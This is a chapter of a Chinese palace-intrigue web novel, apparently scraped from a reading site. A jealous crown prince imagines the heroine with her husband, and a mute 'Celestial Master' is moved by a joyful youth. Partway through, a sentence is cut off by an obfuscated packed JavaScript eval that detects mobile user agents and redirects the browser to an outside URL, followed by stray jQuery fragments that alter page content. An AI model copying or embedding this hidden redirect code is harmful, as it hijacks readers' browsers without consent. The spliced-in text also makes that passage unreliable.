默认冷灰
24号文字
方正启体

22. 苏醒

作者:Valori本书字数:K更新时间:
    炎炎烈日下,楚承煜策马在车队之间来回穿梭,对每一个不幸出现在他面前的人大吼大叫,发泄心中怒火。


    当他又一次把一群小宫女吓得作鸟兽散后,身侧一辆马车中忽然探出一只苍白的手,掀起了车帘。


    “承煜。”


    楚景琰的面容半隐在阴影里,露在外面的那只眼睛远远锁定队伍中央那辆朴素无华的马车,“你方才去寻五弟了?”


    “是。”楚承煜含糊应道,不愿提及自己方才的狼狈。


    “说了些什么?”楚景琰穷追不舍,“他在车里……做什么?”


    “还能做什么?自然是与他那夫人白日宣淫!”楚承煜郁气难平,脱口便道,“皇兄是没瞧见,那狐狸精衣衫凌乱,汁液弄得到处都是,当真是令人作呕!……”


    楚承煜尚在耳畔喋喋不休,楚景琰却已慢慢转头,两只眼睛一并落在远处那辆车上,眼神阴鸷。


    他看着那车帘微微晃动,脑中浮现出霜序的模样——一张脸细嫩莹白,唯有眼尾晕着薄红,唇瓣染着艳色,什么都不用做,浑身上下便皆是媚态。


    而此刻,那抹艳色正躺在别的男人身下承又欠。


    他阖上双目,仿佛看见了那车厢之内的旖旎风光——


    衣衫零落地委顿在地,那具玉砌冰雕的身躯再无遮掩,艳色凌乱。雪腕被死死钉在厢壁上,睫毛挂着泪雾,贝齿深陷唇瓣,细细碎碎地*吟着。


    躯体黏腻交缠,使那玉白后背沁出一层香汗;纤腰颤巍巍地悬在折断的边缘,不住绷紧、战栗,又一次次被迫承受下来……


    “……皇兄?皇兄?”楚承煜一连叫了好几声,把他从幻象中拽回。


    “皇兄你说,楚明渊究竟从哪儿捞来这么个难缠的女子?一想到他要与那刁妇朝夕相处,我都要同情他了。”楚承煜神色愤愤。


    “是吗?”他靠回车中,漫不经心地说,“孤倒觉得,旁人求都求不来他这福气。”


    先是在刺杀中死里逃生,回京时又突现百鸟翔集的吉兆,继而蒙圣恩获准上朝议政,再


    成功执掌五城兵马司……


    一桩桩一件件地细数下来,竟都始于他与那个女子的相遇。


    ——


    暮色渐沉,晚风穿过车队,拂过队尾那辆车架。


    印有昭天监图样的车门被打开,几个白袍神使从中抬出一人,安置在地。那人神情平静,眼珠始终目视前方,不转也不眨。


    “天师大人恕罪,马车轮轴突然断裂,工匠正在加紧修缮。”一个约莫十三四岁的少女小声对那人说,“趁车队停下休整,委屈您在此稍候,待修缮完毕再请您上车……”


    她是新来的丫鬟,还是第一次见到天师真容,边说边忍不住犯嘀咕。


    这天师大人安静得像樽玉像,能听见她说话吗?


    但说着说着,她注意到那对空洞的眸子很轻微地朝她这边偏了偏,好像在认真倾听。


    “大人,”她胆子大了些,话也多了起来,“奴婢瞧着您在车上枯坐整日,趁此机会下来走动走动也好——”


    “小桃!”马车另一侧探出张大汗淋漓的脸,不耐烦地喊道,“跟个木头人废什么话,还不快来搭把手!”


    “就来!”小桃一激灵,连忙应声跑开。


    而就在她转身的那一刻,天师的手指动了一下,擦着她的衣角掠过。


    为免耳畔再次变得寂静无声,他只能反复回想方才那少女朝气蓬勃的嗓音。


    她提议他走动走动,可在身后那些白袍神使的监视下,他不能做出任何不符合身份的举动,注定要被禁锢在这方寸软垫之上。


    过了片刻,马车仍未修好,几个神使被喊去帮忙,他则趁机转动脖颈,向外看去。


    此刻,他正孑然立于山崖之巅,俯首便能看见整支车队。下方那些人个个衣着华贵,却皆是面庞发红、神情痛苦,叫他十分不解。


    将视线移向左侧,那里有一泓溪水在山石间欢快奔流,水珠在夕阳下高高溅起;他追随着那点点跃动的金光,目光痴迷。


    忽然,一抹影子闯入了他的视野。


    那人一袭鲜艳粉裙,头上叮叮当当地坠满了发饰,活像只花蝴蝶,一下就吸引了他。


    那人也和他一样赤裸双脚,步履轻快地跑到溪边,踮起足尖在卵石上蹦蹦跳跳,踢起一串串晶莹水花。


    ——是他。


    天师一眼认出了那双眼睛。他对时光流逝并无概念,而这双如初生婴儿般干净剔透的瞳仁给他留下的印象又太深,鲜明得仿佛上一刻刚刚见过。


    山脚那只小蝴蝶对来自上方的注视浑然不觉,他玩够了水,又跑到草地上肆意翻滚,最后伸了个大大的懒腰,含着草茎睡去了。


    不多时,林间又走出一个玄衣男子。男人轻手轻脚地绕开那片粉色裙摆,到溪边浸湿了一方丝帕,随后折返回来,将熟睡之人轻轻托起,细细擦拭那热得泛红的脸颊。


    饶是他这般轻柔,粉裙之人还是不满地蹙起眉头,扭动着躲避湿帕,脸埋进他掌心。


    男子面上现出安抚,手上却一点没停,圈着人拭去了满面薄汗。又将帕子翻面,从手腕一路擦至肩头;最后掀开裙摆,探手向内拭去。


    约莫被碰到了痒处,那粉色人影忽地笑了起来。他屈起膝盖往男子胸前蹭去,玄衣男子面不改色地扣住那只脚踝,继续为他擦拭。


    待一切收拾妥当,二人对视一瞬,下面那人一拧腰身,灵活地弓身欲逃。男子则早有预料似的展臂一捞,直接将人按倒在草地上。


    他牢牢压住粉裙人,手指袭向他腰窝与腋下。那人顿时笑得上气不接下气,在地上扭作一团。


    天师目不转睛地看着那对身影嬉闹,虽然听不见声音,粉裙人的笑靥却仿佛穿透了山林,源源不断地往他体内注入活气。


    他为何能笑得如此灿烂?


    天师一面疑惑,一面贪婪地攫取那鲜活的神采。


    下方,两人玩闹一阵后,换作黑衣男子侧卧在草地上,单肘支颐,看着不远处的少年。


    那人正立在一棵大树下,仰头对枝头聚集的雀鸟们比划着什么,表情气鼓鼓的。那些鸟儿歪着脑袋听完他的控诉,齐齐扑动翅膀回应;少年则眉眼弯弯地合掌致谢,又拿出一张大饼,分给它们。


    做完这些,他兴高采烈地奔向男子。


    那男子颇为霸道地抽走了他手中的饼,又是喂水又是擦手,之后才允许他拿起另一张完整的饼,自己啃起那块被掰得七零八落的残饼。


    时光悄然流逝,随着车队再次启程,那两道身影并肩消失在了林间;天师也被重新扶上马车,端坐如初。


    车厢狭窄,又没有窗子,一被关进去,四周便只剩下死寂与黑暗。


    天师却不再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483871|201907||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像以往那般随之封闭自己。他闭眼回味着方才所见的那一幕,胸腔里有什么东西在咚咚作响,越来越快、越来越响。


    他不知道,那是自己的心跳。


    ——


    车队即将抵达行宫之际,行进突然再次中断。小桃好奇地伸长了脖子,想看看前头出了什么事。


    正看得起劲,身后的门板“吱呀”一声,被推开了一条小缝。


    她回过头,天师正透过缝隙向外窥视,不知是不是她的错觉,他的眼睛似乎比先前亮了几分。


    她装作不经意地挪挪身子挡住使者,还悄悄给天师指了指骚乱源头——


    是一个年轻的华服男子。他满面怒容,隔着老远都能听见他的怒喝:“滚开!都给本王滚开!”


    他粗暴地拨开人群往队尾挤来,小桃一看清他的模样,立即“扑哧”笑出了声。


    此人头顶赫然顶着一大坨污秽,白中泛青,恶臭难闻;右肩上挂着另一坨,还在慢慢往下滑——


    是鸟粪。


    周遭人怪异的目光让那人愈发恼怒,气急败坏地指向天上,嚷道:“——本王分明看见它们往这边飞了!还不快给本王拿下!”


    “安王殿下息怒,飞鸟本就是随心所欲的蠢物,殿下何必同它们计较……”一名侍卫低声下气地劝道,“如今天色昏沉,小的们实在难以分辨……”


    “放屁,它们就是故意的!”


    楚承煜气得脸都扭曲了,不依不挠地直指苍穹,“怎么你们都没事,偏偏就落在本王头上?!今日不把那两只孽畜射下来,本王誓不罢休!”


    小桃憋笑憋得浑身发抖,而天师如有所悟,目光越过她肩头,直抵队伍中央——


    那花蝴蝶似的少年把大半个身子都探出了车外,向这边张望。他双眼明亮,嘴角咧得大大的,笑出一口白牙,显然对眼前这场好戏极为满意。


    那笑容让天师生出一种冲动,转身朝白袍使者做了个手势。


    “……大人有何吩咐?”使者还是头一次被天师主动召唤,语气中难掩惊诧。待辨明天师比划的意思,他更吃惊了,脸色微微发青。


    作为下属,他终究不可在外人面前违逆天师之令,只得沉着脸走向骚乱之处,把“神谕”传达给楚承煜。


    “天师管这叫——神明赐福?!”楚承煜难以置信地指向自己发上秽物,嗓子都喊得破音,“还不能亵渎?!”


    白袍使者保持着昭天监特有的肃然,也不管他是何反应,将话带到就面无表情地转身离去。


    有了这一出,周围随从与几名世家子弟纷纷大着胆子围上来,七嘴八舌地劝诫他万万不可忤逆神明,让他三思而行……


    楚承煜的脸青一阵白一阵,咬牙切齿地瞪着夜空,却也没敢再提杀鸟之事。


    远处,霜序显然也没料到事情会发展到这一步,茫然抬头,恰好与天师目光对上。


    隔着喧嚣人群与飞扬尘土,天师试图学他那样笑一笑,可脸部早已僵硬得像块石头,嘴角只提起一半,就再动不了。


    他只能这样望着,望着,看见霜序若有所思地摸了摸自己的脸颊。


    下一刻,那人蓦地仰起脸来,朝他绽开笑容。他笑得如此粲然明媚,眉毛几乎飞入额发,两只眼睛皆弯作月牙。


    却又是如此纯净无邪,只看一眼,便觉周身皆被甘露洗涤,再也感受不到凡尘困苦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)